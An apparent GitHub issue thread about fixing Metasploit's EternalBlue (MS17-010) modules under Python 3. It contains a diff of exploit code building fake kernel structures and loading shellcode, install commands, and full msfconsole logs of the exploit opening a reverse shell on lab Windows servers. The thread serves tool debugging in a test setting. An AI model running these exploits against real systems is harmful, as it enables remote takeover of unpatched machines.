+fakeSrvNetBufferX64Nx += str(pack('<QQ', 0, TARGET_HAL_HEAP_ADDR))  # _, _, pointer to fake struct
+fakeSrvNetBufferX64Nx += str(pack('<QQ', 0, 0))
 fakeSrvNetBufferX64Nx += '\x00'*16
 fakeSrvNetBufferX64Nx += '\x00'*16
-fakeSrvNetBufferX64Nx += pack('<QHHI', 0, 0x60, 0x1004, 0)  # MDL.Next, MDL.Size, MDL.MdlFlags
-fakeSrvNetBufferX64Nx += pack('<QQ', 0, PTE_ADDR+7-0x7f)  # MDL.Process, MDL.MappedSystemVa
+fakeSrvNetBufferX64Nx += str(pack('<QHHI', 0, 0x60, 0x1004, 0))  # MDL.Next, MDL.Size, MDL.MdlFlags
+fakeSrvNetBufferX64Nx += str(pack('<QQ', 0, PTE_ADDR+7-0x7f))  # MDL.Process, MDL.MappedSystemVa

 feaListNx = pack('<I', 0x10000)
 feaListNx += ntfea9000
-feaListNx += pack('<BBH', 0, 0, len(fakeSrvNetBufferX64Nx)-1) + fakeSrvNetBufferX64Nx # -1 because first '\x00' is for name
+feaListNx += pack('<BBH', 0, 0, len(fakeSrvNetBufferX64Nx)-1) + fakeSrvNetBufferX64Nx.encode() # -1 because first '\x00' is for name
 # stop copying by invalid flag (can be any value except 0 and 0x80)
 feaListNx += pack('<BBH', 0x12, 0x34, 0x5678)

@@ -291,23 +291,23 @@
     # 0x180 is size of fakeSrvNetBufferX64
     totalRecvSize = 0x80 + 0x180 + sc_size
     fakeSrvNetBufferX64 = '\x00'*16
-    fakeSrvNetBufferX64 += pack('<HHIQ', 0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR)  # flag, _, _, pNetRawBuffer
-    fakeSrvNetBufferX64 += pack('<QII', 0, 0x82e8, 0)  # _, thisNonPagedPoolSize, _
+    fakeSrvNetBufferX64 += str(pack('<HHIQ', 0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR))  # flag, _, _, pNetRawBuffer
+    fakeSrvNetBufferX64 += str(pack('<QII', 0, 0x82e8, 0))  # _, thisNonPagedPoolSize, _
     fakeSrvNetBufferX64 += '\x00'*16
-    fakeSrvNetBufferX64 += pack('<QQ', 0, totalRecvSize)  # offset 0x40
-    fakeSrvNetBufferX64 += pack('<QQ', TARGET_HAL_HEAP_ADDR, TARGET_HAL_HEAP_ADDR)  # pmdl2, pointer to fake struct
-    fakeSrvNetBufferX64 += pack('<QQ', 0, 0)
+    fakeSrvNetBufferX64 += str(pack('<QQ', 0, totalRecvSize))  # offset 0x40
+    fakeSrvNetBufferX64 += str(pack('<QQ', TARGET_HAL_HEAP_ADDR, TARGET_HAL_HEAP_ADDR))  # pmdl2, pointer to fake struct
+    fakeSrvNetBufferX64 += str(pack('<QQ', 0, 0))
     fakeSrvNetBufferX64 += '\x00'*16
     fakeSrvNetBufferX64 += '\x00'*16
-    fakeSrvNetBufferX64 += pack('<QHHI', 0, 0x60, 0x1004, 0)  # MDL.Next, MDL.Size, MDL.MdlFlags
-    fakeSrvNetBufferX64 += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR-0x80)  # MDL.Process, MDL.MappedSystemVa
+    fakeSrvNetBufferX64 += str(pack('<QHHI', 0, 0x60, 0x1004, 0))  # MDL.Next, MDL.Size, MDL.MdlFlags
+    fakeSrvNetBufferX64 += str(pack('<QQ', 0, TARGET_HAL_HEAP_ADDR-0x80))  # MDL.Process, MDL.MappedSystemVa
     return fakeSrvNetBufferX64

 def createFeaList(sc_size):
     feaList = pack('<I', 0x10000)
     feaList += ntfea9000
     fakeSrvNetBuf = createFakeSrvNetBuffer(sc_size)
-    feaList += pack('<BBH', 0, 0, len(fakeSrvNetBuf)-1) + fakeSrvNetBuf # -1 because first '\x00' is for name
+    feaList += pack('<BBH', 0, 0, len(fakeSrvNetBuf)-1) + fakeSrvNetBuf.encode() # -1 because first '\x00' is for name
     # stop copying by invalid flag (can be any value except 0 and 0x80)
     feaList += pack('<BBH', 0x12, 0x34, 0x5678)
     return feaList
@@ -325,14 +325,14 @@
 # code path to get code exection after this struct is controlled
 # SrvNetWskTransformedReceiveComplete() -> SrvNetCommonReceiveHandler() -> call fn_ptr
 fake_recv_struct = ('\x00'*16)*5
-fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR+0x58)  # offset 0x50: KSPIN_LOCK, (LIST_ENTRY to itself)
-fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR+0x58, 0)  # offset 0x60
+fake_recv_struct += str(pack('<QQ', 0, TARGET_HAL_HEAP_ADDR+0x58))  # offset 0x50: KSPIN_LOCK, (LIST_ENTRY to itself)
+fake_recv_struct += str(pack('<QQ', TARGET_HAL_HEAP_ADDR+0x58, 0))  # offset 0x60
 fake_recv_struct += ('\x00'*16)*10
-fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR+0x170, 0)  # offset 0x110: fn_ptr array
-fake_recv_struct += pack('<QQ', (0x8150^0xffffffffffffffff)+1, 0)  # set arg1 to -0x8150
-fake_recv_struct += pack('<QII', 0, 0, 3)  # offset 0x130
+fake_recv_struct += str(pack('<QQ', TARGET_HAL_HEAP_ADDR+0x170, 0))  # offset 0x110: fn_ptr array
+fake_recv_struct += str(pack('<QQ', (0x8150^0xffffffffffffffff)+1, 0))  # set arg1 to -0x8150
+fake_recv_struct += str(pack('<QII', 0, 0, 3))  # offset 0x130
 fake_recv_struct += ('\x00'*16)*3
-fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR+0x180)  # shellcode address
+fake_recv_struct += str(pack('<QQ', 0, TARGET_HAL_HEAP_ADDR+0x180))  # shellcode address


 def getNTStatus(self):
@@ -679,7 +679,7 @@
     smbpass = args['SMBPass'] if 'SMBPass' in args else ''

     # XXX: JSON-RPC requires UTF-8, so we Base64-encode the binary payload
-    sc = eternalblue_kshellcode_x64(args['ProcessName']) + b64decode(args['payload_encoded'])
+    sc = eternalblue_kshellcode_x64(args['ProcessName']) + str(b64decode(args['payload_encoded']))

     if len(sc) > 0xe80:
         module.log('Shellcode too long. The place that this exploit put a shellcode is limited to {} bytes.'.format(0xe80), 'error')

I don't know the difference between Metasploit from Kali Linux Repo and from Metasploit GitHub but yesterday I realized that the exploit ms17_010_eternalblue doesn't work too and that is strange because this exploit is made in Ruby, not in Python.

So today I removed the Metasploit from Kali Linux Repo and installed the Metasploit from Metasploit Framework Nightly Installers and now this exploit is working nicely.

Now I just need to test the ms17_010_eternalblue_win8, that I'll do in the next days because I'm having some problems with the Windows Target.

Steps that I did to Install Metasploit Framework Nightly on Kali Linux

  • Remove, Install, and Configure:
# apt remove metasploit-framework

# apt install python-pip

# python -m pip install impacket

# curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall

# chmod 755 msfinstall

# ./msfinstall

# msfdb init

# msfdb start

# msfconsole

msf5 > version
Framework: 5.0.90-dev-
Console  : 5.0.90-dev-

Running an Attack

  • Running an attack to a Windows Server 2008 R2 using the exploit ms17_010_eternalblue:
msf5 > use windows/smb/ms17_010_eternalblue

msf5 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 172.16.1.60
rhosts => 172.16.1.60

msf5 exploit(windows/smb/ms17_010_eternalblue) > run

[*] Started reverse TCP handler on 172.20.1.119:4444 
[*] 172.16.1.60:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 172.16.1.60:445       - Host is likely VULNERABLE to MS17-010! - Windows Server 2008 R2 Enterprise 7600 x64 (64-bit)
[*] 172.16.1.60:445       - Scanned 1 of 1 hosts (100% complete)
[*] 172.16.1.60:445 - Connecting to target for exploitation.
[+] 172.16.1.60:445 - Connection established for exploitation.
[+] 172.16.1.60:445 - Target OS selected valid for OS indicated by SMB reply
[*] 172.16.1.60:445 - CORE raw buffer dump (38 bytes)
[*] 172.16.1.60:445 - 0x00000000  57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32  Windows Server 2
[*] 172.16.1.60:445 - 0x00000010  30 30 38 20 52 32 20 45 6e 74 65 72 70 72 69 73  008 R2 Enterpris
[*] 172.16.1.60:445 - 0x00000020  65 20 37 36 30 30                                e 7600          
[+] 172.16.1.60:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 172.16.1.60:445 - Trying exploit with 12 Groom Allocations.
[*] 172.16.1.60:445 - Sending all but last fragment of exploit packet
[*] 172.16.1.60:445 - Starting non-paged pool grooming
[+] 172.16.1.60:445 - Sending SMBv2 buffers
[+] 172.16.1.60:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 172.16.1.60:445 - Sending final SMBv2 buffers.
[*] 172.16.1.60:445 - Sending last fragment of exploit packet!
[*] 172.16.1.60:445 - Receiving response from exploit packet
[+] 172.16.1.60:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 172.16.1.60:445 - Sending egg to corrupted connection.
[*] 172.16.1.60:445 - Triggering free of corrupted buffer.
[-] 172.16.1.60:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 172.16.1.60:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=FAIL-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 172.16.1.60:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] 172.16.1.60:445 - Connecting to target for exploitation.
[+] 172.16.1.60:445 - Connection established for exploitation.
[+] 172.16.1.60:445 - Target OS selected valid for OS indicated by SMB reply
[*] 172.16.1.60:445 - CORE raw buffer dump (38 bytes)
[*] 172.16.1.60:445 - 0x00000000  57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32  Windows Server 2
[*] 172.16.1.60:445 - 0x00000010  30 30 38 20 52 32 20 45 6e 74 65 72 70 72 69 73  008 R2 Enterpris
[*] 172.16.1.60:445 - 0x00000020  65 20 37 36 30 30                                e 7600          
[+] 172.16.1.60:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 172.16.1.60:445 - Trying exploit with 17 Groom Allocations.
[*] 172.16.1.60:445 - Sending all but last fragment of exploit packet
[*] 172.16.1.60:445 - Starting non-paged pool grooming
[+] 172.16.1.60:445 - Sending SMBv2 buffers
[+] 172.16.1.60:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 172.16.1.60:445 - Sending final SMBv2 buffers.
[*] 172.16.1.60:445 - Sending last fragment of exploit packet!
[*] 172.16.1.60:445 - Receiving response from exploit packet
[+] 172.16.1.60:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 172.16.1.60:445 - Sending egg to corrupted connection.
[*] 172.16.1.60:445 - Triggering free of corrupted buffer.
[*] Command shell session 2 opened (172.20.1.119:4444 -> 172.16.1.60:58703) at 2020-05-19 13:25:34 -0300
[+] 172.16.1.60:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 172.16.1.60:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 172.16.1.60:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=



C:\Windows\system32>

Next Steps

  • In the next days I'll test the exploit ms17_010_eternalblue_win8 and I'll let you know about the results.

@kal1s

kal1s picture kal1s on 19 May 2020

Hi @acammack-r7, as I've promised, today I tested the exploit ms17_010_eternalblue_win8 using the Metasploit Framework from Metasploit GitHub Nightly.

In this time I didn't make any changes in the exploit.

It doesn't work and I founded another issue, so like this issue isn't related to the Python 3 problem, I think you'll want to open another issue.

So because of that, I'll report what a founded to help to solve this new issue.

My Versions

  • Kali Linux 2020.2:
# cat /etc/os-release 

PRETTY_NAME="Kali GNU/Linux Rolling"
NAME="Kali GNU/Linux"
ID=kali
VERSION="2020.2"
VERSION_ID="2020.2"
VERSION_CODENAME="kali-rolling"
ID_LIKE=debian
ANSI_COLOR="1;31"
HOME_URL="https://www.kali.org/"
SUPPORT_URL="https://forums.kali.org/"
BUG_REPORT_URL="https://bugs.kali.org/"
  • Metasploit from Metasploit GitHub Nightly (Today had an Update!):
# apt show metasploit-framework 

Package: metasploit-framework
Version: 5.0.90+20200520102413.git.2.33708c2~1rapid7-1
Priority: extra
Section: misc
Maintainer: Rapid7 Release Engineering <[email protected]>
Installed-Size: 510 MB
Homepage: https://rapid7.com
License: Unspecified
Vendor: Omnibus <[email protected]>
Download-Size: 223 MB
APT-Manual-Installed: yes
APT-Sources: http://downloads.metasploit.com/data/releases/metasploit-framework/apt lucid/main amd64 Packages
Description: The full stack of metasploit-framework

msf5 > version

Framework: 5.0.90-dev-
Console  : 5.0.90-dev-
  • Python 2:
$ python --version

Python 2.7.18
  • Python 3: 
$ python3 --version

Python 3.8.3rc1

Steps to Reproduce

  • Fresh Installation of the Windows 2012 R2 with the MS17-010 Vulnerability:

  • On Metasploit looking for the Vulnerability:

msf5 > use auxiliary/scanner/smb/smb_ms17_010

msf5 auxiliary(scanner/smb/smb_ms17_010) > set smbuser administrator
smbuser => administrator

msf5 auxiliary(scanner/smb/smb_ms17_010) > set smbpass **********
smbpass => **********

msf5 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.122.168
rhosts => 192.168.122.168

msf5 auxiliary(scanner/smb/smb_ms17_010) > run

[+] 192.168.122.168:445   - Host is likely VULNERABLE to MS17-010! - Windows Server 2012 R2 Datacenter Evaluation 9600 x64 (64-bit)
[*] 192.168.122.168:445   - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
  • Running the exploit ms17_010_eternalblue_win8 against the Windows Target:
msf5 auxiliary(scanner/smb/smb_ms17_010) > use exploit/windows/smb/ms17_010_eternalblue_win8
  • Error on the framework.log when I executed the last command:
[05/20/2020 14:03:23] [e(0)] core: /opt/metasploit-framework/embedded/framework/modules/exploits/windows/smb/ms17_010_eternalblue_win8.rb failed to load due to the following error: Errno::ENOENT No such file or directory @ rb_sysopen - /opt/metasploit-framework/embedded/framework/modules/exploits/windows/smb/ms17_010_eternalblue_win8.rb Call stack: /opt/metasploit-framework/embedded/framework/lib/msf/core/modules/loader/directory.rb:77:in `initialize' /opt/metasploit-framework/embedded/framework/lib/msf/core/modules/loader/directory.rb:77:in `open' /opt/metasploit-framework/embedded/framework/lib/msf/core/modules/loader/directory.rb:77:in `read_module_content' /opt/metasploit-framework/embedded/framework/lib/msf/core/modules/loader/base.rb:127:in `load_module' /opt/metasploit-framework/embedded/framework/lib/msf/core/module_manager/cache.rb:91:in `block in load_cached_module' /opt/metasploit-framework/embedded/framework/lib/msf/core/module_manager/cache.rb:86:in `each' /opt/metasploit-framework/embedded/framework/lib/msf/core/module_manager/cache.rb:86:in `load_cached_module' /opt/metasploit-framework/embedded/framework/lib/msf/core/module_set.rb:45:in `create' /opt/metasploit-framework/embedded/framework/lib/msf/core/module_manager.rb:90:in `create' /opt/metasploit-framework/embedded/framework/lib/msf/ui/console/command_dispatcher/modules.rb:697:in `cmd_use' /opt/metasploit-framework/embedded/framework/lib/rex/ui/text/dispatcher_shell.rb:523:in `run_command' /opt/metasploit-framework/embedded/framework/lib/rex/ui/text/dispatcher_shell.rb:474:in `block in run_single' /opt/metasploit-framework/embedded/framework/lib/rex/ui/text/dispatcher_shell.rb:468:in `each' /opt/metasploit-framework/embedded/framework/lib/rex/ui/text/dispatcher_shell.rb:468:in `run_single' /opt/metasploit-framework/embedded/framework/lib/rex/ui/text/shell.rb:158:in `run' /opt/metasploit-framework/embedded/framework/lib/metasploit/framework/command/console.rb:48:in `start' /opt/metasploit-framework/embedded/framework/lib/metasploit/framework/command/base.rb:82:in `start' /opt/metasploit-framework/bin/../embedded/framework/msfconsole:23:in `<main>'
  • Configuring the Exploit:
msf5 exploit(windows/smb/ms17_010_eternalblue_win8) > set rhost 192.168.122.168
rhost => 192.168.122.168

msf5 exploit(windows/smb/ms17_010_eternalblue_win8) > set smbuser administrator
smbuser => administrator

msf5 exploit(windows/smb/ms17_010_eternalblue_win8) > set smbpass **********
smbpass => **********
  • Running the Exlpoit 2 times:
msf5 exploit(windows/smb/ms17_010_eternalblue_win8) > run

[*] Started reverse TCP handler on 192.168.122.1:4444 
[*] shellcode size: 1232
[*] numGroomConn: 13
[*] Target OS: Windows Server 2012 R2 Datacenter Evaluation 9600
[*] got good NT Trans response
[*] got good NT Trans response
[-] 'ascii' codec can't decode byte 0xd3 in position 2: ordinal not in range(128)
[-] Exploit aborted due to failure: unknown: Module exited abnormally
[*] Exploit completed, but no session was created.


msf5 exploit(windows/smb/ms17_010_eternalblue_win8) > run

[*] Started reverse TCP handler on 192.168.122.1:4444 
[*] shellcode size: 1232
[*] numGroomConn: 13
[*] Target OS: Windows Server 2012 R2 Datacenter Evaluation 9600
[*] got good NT Trans response
[*] got good NT Trans response
[-] 'ascii' codec can't decode byte 0x87 in position 4: ordinal not in range(128)
[-] Exploit aborted due to failure: unknown: Module exited abnormally
[*] Exploit completed, but no session was created.

  • Each time that I execute the exploit the byte and the position change.

  • No more errors in the framework.log.

@kal1s

kal1s picture kal1s on 20 May 2020

That's a known issue with with the module under Python 2. Under some circumstances something about the SMB data and impacket disagree and a field that was assumed to be ascii is really a binary. I tried looking at it once, but it can be hard to reproduce on a VM on demand and once I could, it turned out to be a large rabbithole I didn't have time to go down. I _think_ a full python 3 conversion could coincidentally fix it by making sure everything is properly bytes.

acammack-r7 picture acammack-r7 on 20 May 2020
👍2
Was this page helpful?
0 / 5 - 0 ratings

Related issues

BaconBombz picture BaconBombz  路  3Comments
wvu-r7 picture wvu-r7  路  3Comments
jecoliho picture jecoliho  路  3Comments
bugshere picture bugshere  路  3Comments
miholtz picture miholtz  路  3Comments